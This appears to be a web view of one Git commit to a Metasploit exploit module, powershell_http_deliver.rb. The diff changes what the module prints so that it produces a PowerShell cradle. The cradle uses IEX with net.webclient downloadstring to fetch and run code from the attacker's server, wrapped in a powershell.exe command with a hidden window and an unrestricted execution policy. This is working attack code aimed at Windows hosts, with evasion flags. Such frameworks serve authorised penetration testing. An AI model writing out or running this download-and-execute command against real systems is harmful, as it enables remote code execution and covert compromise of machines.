Skip to content

Commit 6fab3f6

Browse files
committed
Add powershell cmdline
1 parent d1fdcff commit 6fab3f6

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

modules/exploits/windows/misc/powershell_http_deliver.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -52,9 +52,9 @@ def exploit
5252
url = (datastore['SSL'] ? "https://" : "http://")
5353
url += (datastore['SRVHOST'] == '0.0.0.0') ? datastore['LHOST'] : datastore['SRVHOST']
5454
url += ":" + datastore['SRVPORT'].to_s + "/" + datastore['URIPATH']
55-
print_good("Run the following command in powershell:")
56-
print_line
57-
print_line("IEX (new-object net.webclient).downloadstring(\"#{url}\");")
55+
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
56+
print_good(download_and_run)
57+
print_good("powershell.exe -windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted -command \"#{download_and_run}\"")
5858
print_line
5959
super
6060
end

0 commit comments

Comments
 (0)